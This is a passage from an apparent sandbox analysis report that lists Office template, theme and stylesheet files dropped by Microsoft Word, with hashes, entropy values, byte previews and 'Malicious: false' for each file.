Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.e.x.t. .S.i.d.e.b.a.r. .(.A.n.n.u.a.l. .R.e.p.o.r.t. .R.e.d. .a.n.d. .B.l.a.c.k. .d.e.s.i.g.n.)...d.o.c.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7EBE.tmp\Text Sidebar (Annual Report Red and Black design).docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	47296
Entropy (8bit):	6.42327948041841
Encrypted:	false
SSDEEP:	768:ftjI1BT8N37szq00s7dB2wMVJGHR97/RDU5naXUsT:fJIPTfq0ndB2w1bpsE
MD5:	5A53F55DD7DA8F10A8C0E711F548B335
SHA1:	035E685927DA2FECB88DE9CAF0BECEC88BC118A7
SHA-256:	66501B659614227584DA04B64F44309544355E3582F59DBCA3C9463F67B7E303
SHA-512:	095BD5D1ACA2A0CA3430DE2F005E1D576AC9387E096D32D556E4348F02F4D658D0E22F2FC4AA5BF6C07437E6A6230D2ABF73BBD1A0344D73B864BC4813D60861
Malicious:	false
Preview:	PK........<dSA4...T...P.......[Content_Types].xml ...(........................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`..^\-o..D....n_d.jq...gwg.t........:?/..}..Vu5...rQ..7..X.Q."./g..o....f....YB......<..w?...ss..e.4Y}}...0.Y...........u3V.o..r...5....7bA..Us.z.`.r(.Y>.&DVy.........6.T...e.\|..g.%<...9a.&...7...}3:B.......<...!...:..7w...y..

C:\Users\user\AppData\Local\Temp\TCD7EBF.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.4871192480632223
Encrypted:	false
SSDEEP:	6:fxnxUXsdDUaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyoRw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	333BA58FCE326DEA1E4A9DE67475AA95
SHA1:	F51FAD5385DC08F7D3E11E1165A18F2E8A028C14
SHA-256:	66142D15C7325B98B199AB6EE6F35B7409DE64EBD5C0AB50412D18CBE6894097
SHA-512:	BFEE521A05B72515A8D4F7D13D8810846DC60F1E85C363FFEBD6CACD23AE8D2E664C563FC74700A4ED4E358F378508D25C46CB5BE1CF587E2E278EBC22BB2625
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .m.l.a.s.e.v.e.n.t.h.e.d.i.t.i.o.n.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7EBF.tmp\mlaseventheditionofficeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	254875
Entropy (8bit):	5.003842588822783
Encrypted:	false
SSDEEP:	6144:MwprAnniNgtfbzbOWPuv7kOMBLitjAUjTQLrYHwR0TnyDkHqV3iPr1zHX5T6SSXj:a
MD5:	377B3E355414466F3E3861BCE1844976
SHA1:	0B639A3880ACA3FD90FA918197A669CC005E2BA4
SHA-256:	4AC5B26C5E66E122DE80243EF621CA3E1142F643DD2AD61B75FF41CFEE3DFFAF
SHA-512:	B050AD52A8161F96CBDC880DD1356186F381B57159F5010489B04528DB798DB955F0C530465AB3ECD5C653586508429D98336D6EB150436F1A53ABEE0697AEB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>...</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />......<xsl:variable name="prop_EndChars">.....<xsl:call-template name="templ_prop_EndChars"/>....</xsl:variable>......<xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parameters" />......

C:\Users\user\AppData\Local\Temp\TCD7EEE.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	262
Entropy (8bit):	3.4901887319218092
Encrypted:	false
SSDEEP:	6:fxnxUXqhBMl0OoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyiMl0OoGHmD0+dAH/luWvv
MD5:	52BD0762F3DC77334807DDFC60D5F304
SHA1:	5962DA7C58F742046A116DDDA5DC8EA889C4CB0E
SHA-256:	30C20CC835E912A6DD89FD1BF5F7D92B233B2EC24594F1C1FE0CADB03A8C3FAB
SHA-512:	FB68B1CF9677A00D5651C51EC604B61DAC2D250D44A71D43CD69F41F16E4F0A7BAA7AD4A6F7BB870429297465A893013BBD7CC77A8F709AD6DB97F5A0927B1DD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .R.a.d.i.a.l.P.i.c.t.u.r.e.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7EEE.tmp\RadialPictureList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5596
Entropy (8bit):	7.875182123405584
Encrypted:	false
SSDEEP:	96:dGa2unnLYEB2EUAPOak380NQjqbHaPKJebgrEVws8Vw+BMa0EbdLVQaZJgDZh0pJ:UJunLYEB2EUAxk3pIYaScgYwsV4bdS0X
MD5:	CDC1493350011DB9892100E94D5592FE
SHA1:	684B444ADE2A8DBE760B54C08F2D28F2D71AD0FA
SHA-256:	F637A67799B492FEFFB65632FED7815226396B4102A7ED790E0D9BB4936E1548
SHA-512:	3699066A4E8A041079F12E88AB2E7F485E968619CB79175267842846A3AD64AA8E7778CBACDF1117854A7FDCFB46C8025A62F147C81074823778C6B4DC930F12
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK.........V.<.S.....Y.......diagrams/layout1.xml.\.r.8...U....m.$.."3.....;...../3.XAn..O.?....V.;...")Nr.O.H....O......_..E..S...L7....8H.y<=............~...Ic......v9.X.%.\.^.,?g.v.?%w...f.).9.........Ld;.1..?~.%QQ...h.8;.gy..c4..]..0Ii.K&.[.9.......E4B.a..?e.B..4....E.......Y.?_&!.....i~..{.W..b....L.?..L..@.F....c.H..^..i...(d.......w...9..9,........q..%[..]K}.u.k..V.%.Y.....W.y..;e4[V..u.!T...).%.

C:\Users\user\AppData\Local\Temp\TCD7F1F.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCD7F1F.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCD7F45.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD7F45.tmp\turabian.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	344303
Entropy (8bit):	5.023195898304535
Encrypted:	false
SSDEEP:	6144:UwprANnsqvtfL/vF/bkWPRMMv7EOMBPitjASjTQQr7IwR0TnyDk1b78plJwf33iD:6
MD5:	F079EC5E2CCB9CD4529673BCDFB90486
SHA1:	FBA6696E6FA918F52997193168867DD3AEBE1AD6
SHA-256:	3B651258F4D0EE1BFFC7FB189250DED1B920475D1682370D6685769E3A9346DB
SHA-512:	4FFFA59863F94B3778F321DA16C43B92A3053E024BDD8C5317077EA1ECC7B09F67ECE3C377DB693F3432BF1E2D947EC5BF8E88E19157ED08632537D8437C87D6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>......<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$pa

C:\Users\user\AppData\Local\Temp\TCD7F55.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	260
Entropy (8bit):	3.4895685222798054
Encrypted:	false
SSDEEP:	6:fxnxUX4cPBl4xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyPl4xoGHmD0+dAH/luWvv
MD5:	63E8B0621B5DEFE1EF17F02EFBFC2436
SHA1:	2D02AD4FD9BF89F453683B7D2B3557BC1EEEE953
SHA-256:	9243D99795DCDAD26FA857CB2740E58E3ED581E3FAEF0CB3781CBCD25FB4EE06
SHA-512:	A27CDA84DF5AD906C9A60152F166E7BD517266CAA447195E6435997280104CBF83037F7B05AE9D4617323895DCA471117D8C150E32A3855156CB156E15FA5864
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.a.r.y.i.n.g.W.i.d.t.h.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCD7F55.tmp\VaryingWidthList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	3075
Entropy (8bit):	7.716021191059687
Encrypted:	false
SSDEEP:	48:96yn4sOBoygpySCCxwKsZCB2oLEIK+aQpUNLRQWtmMamIZxAwCC2QnyODhVOzP4:l0vCxJsZQ2ofpKvtmMdIZxAwJyODhVOE
MD5:	67766FF48AF205B771B53AA2FA82B4F4
SHA1:	0964F8B9DC737E954E16984A585BDC37CE143D84
SHA-256:	160D05B4CB42E1200B859A2DE00770A5C9EBC736B70034AFC832A475372A1667
SHA-512:	AC28B0B4A9178E9B424E5893870913D80F4EE03D595F587AA1D3ACC68194153BAFC29436ADFD6EA8992F0B00D17A43CFB42C529829090AF32C3BE591BD41776D
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK.........nB;O.......k......._rels/.rels...J.@.._e..4...i/.,x..Lw'....v'.<....WpQ..,......7?....u.y..;bL../..3t.+.t.G....Y.v8.eG.MH,....(\..d..R....t>Z.<F-..G.(..\.x...l?..M..:#........2.#.[..H7..#g{...._j...(.....q......;.5'..Nt..."...A.h........>....\.'...L..D..DU<.....C.TKu.5Tu....bV..;PK.........C26.b..............diagrams/layout1.xml.T.n. .}N....).je./m.+u....`{..0P......p..U}c.9g..3....=h.(.."..D-.&....~.....y..I...(r.aJ.Y..e..;.YH...P.{b......hz.-..>k.i5..z>.l...f...c..Y...7.ND...=.%..1...Y.-.o.=)(1g.{.".E.>2.=...]Y..r0.Q...e.E.QKal,.....{f...r..9-.mH..C..\.w....c.4.JUbx.p Q...R......_...G.F...uPR...\|um.+g..?..C..gT...7.0.8l$.*.=qx.......-8..8.

C:\Users\user\AppData\Local\Temp\TCD7F87.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD7F87.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD7FB8.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD7FB8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD7FD8.tmp\Wood_Type.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1649585
Entropy (8bit):	7.875240099125746
Encrypted:	false
SSDEEP:	24576:L368X6z95zf5BbQ6U79dYy2HiTIxRboyM/LZTl5KnCc:r68kb7UTYxGIxmnp65
MD5:	35200E94CEB3BB7A8B34B4E93E039023
SHA1:	5BB55EDAA4CDF9D805E36C36FB092E451BDDB74D
SHA-256:	6CE04E8827ABAEA9B292048C5F84D824DE3CEFDB493101C2DB207BD4475AF1FD
SHA-512:	ED80CEE7C22D10664076BA7558A79485AA39BE80582CEC9A222621764DAE5EFA70F648F8E8C5C83B6FE31C2A9A933C814929782A964A47157505F4AE79A3E2F9
Malicious:	false
Preview:	PK..........1A..u._....P......[Content_Types].xml..Ms.@.....!...=.7....;a.h.&Y..l..H~..`;...d..g/..e..,M..C...5...#g/."L..;...#. ]..f...w../._.2Y8..X.[..7._.[...K3..#.4......D.]l.?...~.&J&....p..wr-v.r.?...i.d.:o....Z.a\|._....\|.d...A....A".0.J......nz....#.s.m.......(.]........~..XC..J......+.\|...(b}...K!._.D....uN....u..U..b=.^..[...f...f.,...eo..z.8.mz....."..D..SU.}ENp.k.e}.O.N....:^....5.d.9Y.N..5.d.q.^s..}R...._E..D...o..o...o...f.6;s.Z]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...S.....0.zN.... ...>..>..>..>..>..>..>........e...,..7...F(L.....>.ku...i...i...i...i...i...i...i........yi.....G...1.....j...r.Z]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o\|^Z....Q}.;.o...9.Z..\.V...............................jZ......k.pT...0.zN.... ...>..>..>..>..>..>..>........e...,..7...f(L.....>.ku...i...i...i...i...i...i...i........yi.......n.....{.._f...0...PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...

C:\Users\user\AppData\Local\Temp\TCD7FD8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	284
Entropy (8bit):	3.5552837910707304
Encrypted:	false
SSDEEP:	6:Q+sxnxUXtLARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygymD0wbnKNAH/lMz1
MD5:	5728F26DF04D174DE9BDFF51D0668E2A
SHA1:	C998DF970655E4AF9C270CC85901A563CFDBCC22
SHA-256:	979DAFD61C23C185830AA3D771EDDC897BEE87587251B84F61776E720ACF9840
SHA-512:	491B36AC6D4749F7448B9A3A6E6465E8D97FB30F33EF5019AF65660E98F4570711EFF5FC31CBB8414AD9355029610E6F93509BC4B2FB6EA79C7CB09069DE7362
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .W.o.o.d._.T.y.p.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD7FF8.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
